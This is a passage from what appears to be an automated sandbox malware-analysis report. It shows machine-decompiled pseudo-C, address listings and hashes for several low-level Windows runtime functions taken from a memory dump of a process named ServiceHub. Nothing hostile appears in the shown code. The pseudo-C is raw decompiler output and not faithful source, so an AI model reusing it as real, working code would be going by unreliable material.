					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L011C4620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E011EF3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E011C7D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E011E9AE0();
						_t23 = L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}












                                          0x01226c0a
                                          0x01226c0f
                                          0x01226c10
                                          0x01226c13
                                          0x01226c15
                                          0x01226c19
                                          0x01226c1c
                                          0x01226c21
                                          0x01226c28
                                          0x01226c3a
                                          0x01226c2a
                                          0x01226c33
                                          0x01226c33
                                          0x01226c3f
                                          0x01226c48
                                          0x01226c4d
                                          0x01226c60
                                          0x01226c65
                                          0x01226c69
                                          0x01226c73
                                          0x01226c79
                                          0x01226c7f
                                          0x01226c86
                                          0x01226c90
                                          0x01226c94
                                          0x01226ca6
                                          0x01226cb2
                                          0x01226cbd
                                          0x01226cbd
                                          0x01226cc3
                                          0x01226cc7
                                          0x01226ccb
                                          0x01226cd0
                                          0x01226cd1
                                          0x01226ce2
                                          0x01226ce2
                                          0x01226c69
                                          0x01226ced

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 39c27d153c969f5d9306ea544705dac7fd88acdc0de3b7cfc66d14633b725130
                                          • Instruction ID: 4fb65b82b05dfd1e674a76e134079f4fdc6c61f396eb90d6d882a47bc5e6724f
                                          • Opcode Fuzzy Hash: 39c27d153c969f5d9306ea544705dac7fd88acdc0de3b7cfc66d14633b725130
                                          • Instruction Fuzzy Hash: 64219AB2A10655BBD715DBA8D884E2AB7B8FF58704F040069FA05CB790D734E950CBA8
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E90AF Relevance: .1, Instructions: 76COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 82%
                                          			E011E90AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E011FD4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E011DE5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L011C4620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E011EF3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E011DA2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}


























                                          0x011e90af
                                          0x011e90b8
                                          0x011e90bb
                                          0x011e90bf
                                          0x011e90c2
                                          0x011e90c2
                                          0x011e90c8
                                          0x011e90cb
                                          0x011e90cd
                                          0x012214d7
                                          0x012214eb
                                          0x012214eb
                                          0x00000000
                                          0x012214eb
                                          0x012214db
                                          0x012214e6
                                          0x00000000
                                          0x012214f2
                                          0x012214e8
                                          0x00000000
                                          0x012214e8
                                          0x011e90d8
                                          0x011e90da
                                          0x011e90dd
                                          0x011e90e5
                                          0x00000000
                                          0x011e9139
                                          0x011e90fa
                                          0x011e90fe
                                          0x011e9142
                                          0x00000000
                                          0x011e9142
                                          0x011e9104
                                          0x011e9107
                                          0x011e910b
                                          0x011e9110
                                          0x011e9118
                                          0x011e9147
                                          0x011e9148
                                          0x011e914f
                                          0x011e9150
                                          0x011e9151
                                          0x011e9152
                                          0x011e9156
                                          0x011e915d
                                          0x011e9160
                                          0x011e9168
                                          0x011e916c
                                          0x011e91bc
                                          0x011e91be
                                          0x00000000
                                          0x011e91be
                                          0x011e916e
                                          0x011e9173
                                          0x011e9176
                                          0x00000000
                                          0x00000000
                                          0x011e917c
                                          0x011e9180
                                          0x011e91b5
                                          0x00000000
                                          0x011e91b5
                                          0x011e9182
                                          0x011e9185
                                          0x011e9189
                                          0x00000000
                                          0x00000000
                                          0x011e918e
                                          0x011e9190
                                          0x011e9198
                                          0x00000000
                                          0x00000000
                                          0x011e91a0
                                          0x00000000
                                          0x011e91ad
                                          0x011e91ad
                                          0x011e91b0
                                          0x011e91b1
                                          0x00000000
                                          0x011e9185
                                          0x011e911a
                                          0x011e911c
                                          0x011e911f
                                          0x011e9125
                                          0x011e9127
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
                                          • Instruction ID: 2aac81155f64d849186b0c2cb6818e66b8d2b9897fa2d4b092e5c1025d6314b9
                                          • Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
                                          • Instruction Fuzzy Hash: 70219571A00719EFDB25DF99C448EAAFBF8EB54764F15846EEA49A7200D330ED10CB90
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D3B7A Relevance: .1, Instructions: 75COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 59%
                                          			E011D3B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x12984c4; // 0x0
				_v12 = 1;
				_v8 =  *0x12984c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x12984c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E011EAA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E011EFA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x12984c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x12984c4; // 0x0
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}












                                          0x011d3b89
                                          0x011d3b96
                                          0x011d3ba1
                                          0x011d3bab
                                          0x011d3bb5
                                          0x011d3bb9
                                          0x01216298
                                          0x011d3bbf
                                          0x011d3bc2
                                          0x011d3bc3
                                          0x011d3bc9
                                          0x011d3bca
                                          0x011d3bcc
                                          0x011d3bcd
                                          0x011d3bd4
                                          0x011d3bd6
                                          0x011d3bdb
                                          0x011d3bea
                                          0x011d3bf7
                                          0x011d3bfb
                                          0x011d3bff
                                          0x011d3c09
                                          0x011d3c0a
                                          0x011d3c0b
                                          0x011d3c0f
                                          0x011d3c14
                                          0x011d3c18
                                          0x011d3c18
                                          0x011d3bfb
                                          0x011d3c1b
                                          0x011d3c30
                                          0x011d3c30
                                          0x011d3c3d

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 48ccca88787e8a3d54bc43aa4f78f7ec04b832264d253a4520b0e37a95b4c9ca
                                          • Instruction ID: 2e5d6d794d293589db6e2a635558cb696685bf2a4df286d82b3c3e7d868de434
                                          • Opcode Fuzzy Hash: 48ccca88787e8a3d54bc43aa4f78f7ec04b832264d253a4520b0e37a95b4c9ca
                                          • Instruction Fuzzy Hash: 762192B2600519EFC714DF98DD85B9ABBBDFF45708F190169EA04AB251D371ED01CBA0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01226CF0 Relevance: .1, Instructions: 74COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 80%
                                          			E01226CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E011C7D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E011C7D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x1185c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E011DF6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E011DF6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E01227016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L011C2400( &_v52);
								}
								_t21 = L011C2400( &_v28);
							}
						}
					}
				}
				return _t21;
			}



















                                          0x01226cfb
                                          0x01226d00
                                          0x01226d02
                                          0x01226d06
                                          0x01226d0a
                                          0x01226d0e
                                          0x01226d19
                                          0x01226d2b
                                          0x01226d1b
                                          0x01226d24
                                          0x01226d24
                                          0x01226d33
                                          0x01226d39
                                          0x01226d46
                                          0x01226d4f
                                          0x01226d61
                                          0x01226d51
                                          0x01226d5a
                                          0x01226d5a
                                          0x01226d69
                                          0x01226d6b
                                          0x01226d6d
                                          0x01226d6f
                                          0x01226d6f
                                          0x01226d74
                                          0x01226d79
                                          0x01226d7a
                                          0x01226d7f
                                          0x01226d82
                                          0x01226d88
                                          0x01226d89
                                          0x01226d90
                                          0x01226d94
                                          0x01226da7
                                          0x01226db1
                                          0x01226db1
                                          0x01226dbb
                                          0x01226dbb
                                          0x01226d90
                                          0x01226d69
                                          0x01226d46
                                          0x01226dc6

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c881c2c066a8b6931d6393448a79bd308cc3295cb00ef8bbabeb6424273a301d
                                          • Instruction ID: d905c7989b0a3b96294d69d081d09387733d23d8b23e68b1091c9bdfe102b81c
                                          • Opcode Fuzzy Hash: c881c2c066a8b6931d6393448a79bd308cc3295cb00ef8bbabeb6424273a301d
                                          • Instruction Fuzzy Hash: C221077351439AABD311DF28C944B6FBBECEF91644F08055AFE40C7251DB34D649C6A2
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0127070D Relevance: .1, Instructions: 72COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 67%
                                          			E0127070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E012707DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E0126AFDE( &_v8,  &_v12);
					E01271293(_t38, _v28, _t60);
					if(E011C7D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E012614FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}













                                          0x0127071b
                                          0x01270724
                                          0x01270734
                                          0x01270738
                                          0x0127074b
                                          0x0127074b
                                          0x01270753
                                          0x01270753
                                          0x01270759
                                          0x0127075d
                                          0x01270774
                                          0x01270779
                                          0x0127077d
                                          0x01270789
                                          0x01270795
                                          0x012707a7
                                          0x01270797
                                          0x012707a0
                                          0x012707a0
                                          0x012707af
                                          0x012707c4
                                          0x012707cd
                                          0x012707cd
                                          0x012707af
                                          0x012707dc

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
                                          • Instruction ID: c36b814cf9e34d25d6605bc311a80e9fcf4437ea8e3cebbe2949ec8627c8f846
                                          • Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
                                          • Instruction Fuzzy Hash: 5C2134362142019FD709DF1CC880B6BBBA5EFD1310F048529FA959B3C5C730D809CB95
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01227794 Relevance: .1, Instructions: 70COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 82%
                                          			E01227794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x1297b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E011EF3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E011C7D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E011E9AE0();
					_t24 = L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}













                                          0x01227799
                                          0x0122779a
                                          0x0122779b
                                          0x012277a3
                                          0x012277ab
                                          0x012277ae
                                          0x012277b1
                                          0x012277b1
                                          0x012277bf
                                          0x012277c4
                                          0x012277c8
                                          0x012277ce
                                          0x012277d4
                                          0x012277e0
                                          0x012277e0
                                          0x012277d6
                                          0x012277d6
                                          0x012277de
                                          0x00000000
                                          0x00000000
                                          0x012277de
                                          0x012277e5
                                          0x012277f0
                                          0x012277f3
                                          0x012277f6
                                          0x012277fd
                                          0x01227800
                                          0x0122780c
                                          0x01227818
                                          0x0122782b
                                          0x0122781a
                                          0x01227823
                                          0x01227823
                                          0x01227830
                                          0x01227831
                                          0x01227838
                                          0x0122783d
                                          0x0122783e
                                          0x0122784f
                                          0x0122784f
                                          0x0122785a

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 64212f1d6a38ea33f4daed057c04fe83250f98ea3a756b05b5090fec5492ef31
                                          • Instruction ID: 1d038b97f148059e236a39ce58cd0ec58df03d2058b0c188454042f3604c95c3
                                          • Opcode Fuzzy Hash: 64212f1d6a38ea33f4daed057c04fe83250f98ea3a756b05b5090fec5492ef31
                                          • Instruction Fuzzy Hash: 2E21D172914615BBC729DF69D894E6BBBB8EF58740F10016DFA0AC7750D734E900CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011CAE73 Relevance: .1, Instructions: 70COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 96%
                                          			E011CAE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E011C7D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E011C7D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E011C7D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E011C7D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E01227794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}













                                          0x011cae78
                                          0x011cae7c
                                          0x011cae7e
                                          0x011cae81
                                          0x011cae86
                                          0x011cae8d
                                          0x01212691
                                          0x011cae93
                                          0x011cae93
                                          0x011cae93
                                          0x011cae98
                                          0x011cae9d
                                          0x012126a2
                                          0x012126b4
                                          0x012126a4
                                          0x012126ad
                                          0x012126ad
                                          0x012126b9
                                          0x00000000
                                          0x012126bb
                                          0x00000000
                                          0x012126bb
                                          0x011caea3
                                          0x011caea3
                                          0x011caea3
                                          0x011caeaa
                                          0x012126c0
                                          0x012126c9
                                          0x012126c9
                                          0x011caeb3
                                          0x012126d4
                                          0x012126e1
                                          0x00000000
                                          0x00000000
                                          0x012126e7
                                          0x012126ee
                                          0x012126f0
                                          0x012126f9
                                          0x012126f9
                                          0x01212702
                                          0x01212708
                                          0x01212708
                                          0x0121270b
                                          0x0121270f
                                          0x01212711
                                          0x01212711
                                          0x01212725
                                          0x01212725
                                          0x00000000
                                          0x011caeb9
                                          0x011caeb9
                                          0x011caebf
                                          0x011caebf
                                          0x011caeb3

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
                                          • Instruction ID: 03df37015140745fe1ed6dc297aee203bc715fefb9296a6c5aeb97d238ea3592
                                          • Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
                                          • Instruction Fuzzy Hash: 93210771611686DFE72ADB68D944B3537D4EF24A40F1904A4EE048B6D6E774DC40CAA1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DFD9B Relevance: .1, Instructions: 69COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 93%
                                          			E011DFD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E011B76E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}










                                          0x011dfd9b
                                          0x011dfda0
                                          0x011dfda1
                                          0x011dfdab
                                          0x011dfdad
                                          0x011dfdb0
                                          0x011dfdb8
                                          0x011dfe0f
                                          0x011dfde6
                                          0x011dfde9
                                          0x011dfdec
                                          0x0121c0c0
                                          0x011dfdfe
                                          0x011dfe06
                                          0x011dfe06
                                          0x0121c0c8
                                          0x011dfe2d
                                          0x011dfe2d
                                          0x00000000
                                          0x011dfe2d
                                          0x0121c0d1
                                          0x0121c0e0
                                          0x0121c0e5
                                          0x0121c0e5
                                          0x0121c0e8
                                          0x00000000
                                          0x0121c0e8
                                          0x011dfdf4
                                          0x00000000
                                          0x00000000
                                          0x011dfdf6
                                          0x011dfdfa
                                          0x011dfe1a
                                          0x011dfe1f
                                          0x011dfe1f
                                          0x011dfdfc
                                          0x00000000
                                          0x011dfdfc
                                          0x011dfdcc
                                          0x011dfdd0
                                          0x011dfe26
                                          0x00000000
                                          0x011dfe26
                                          0x011dfdd8
                                          0x011dfddb
                                          0x011dfddd
                                          0x011dfde0
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
                                          • Instruction ID: c9254089b6db39a82d7276d90276c59790792024056efb31d863c63cfcd1dc1e
                                          • Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
                                          • Instruction Fuzzy Hash: 3621BE76640A52DFD739CF0DC540E66F7E5EBA4B10F22817EE94687611D7309E02CB80
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DB390 Relevance: .1, Instructions: 63COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 54%
                                          			E011DB390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E011C2280(_t12, 0x1298608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E011E00C2(0x1298608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}











                                          0x011db395
                                          0x011db3a2
                                          0x011db3a5
                                          0x011db3aa
                                          0x011db3b2
                                          0x011db3ba
                                          0x011db3bd
                                          0x011db3c0
                                          0x011db3c4
                                          0x011db3c9
                                          0x0121a3e9
                                          0x0121a3ed
                                          0x0121a3f0
                                          0x0121a3ff
                                          0x0121a403
                                          0x0121a409
                                          0x00000000
                                          0x00000000
                                          0x0121a40b
                                          0x0121a40b
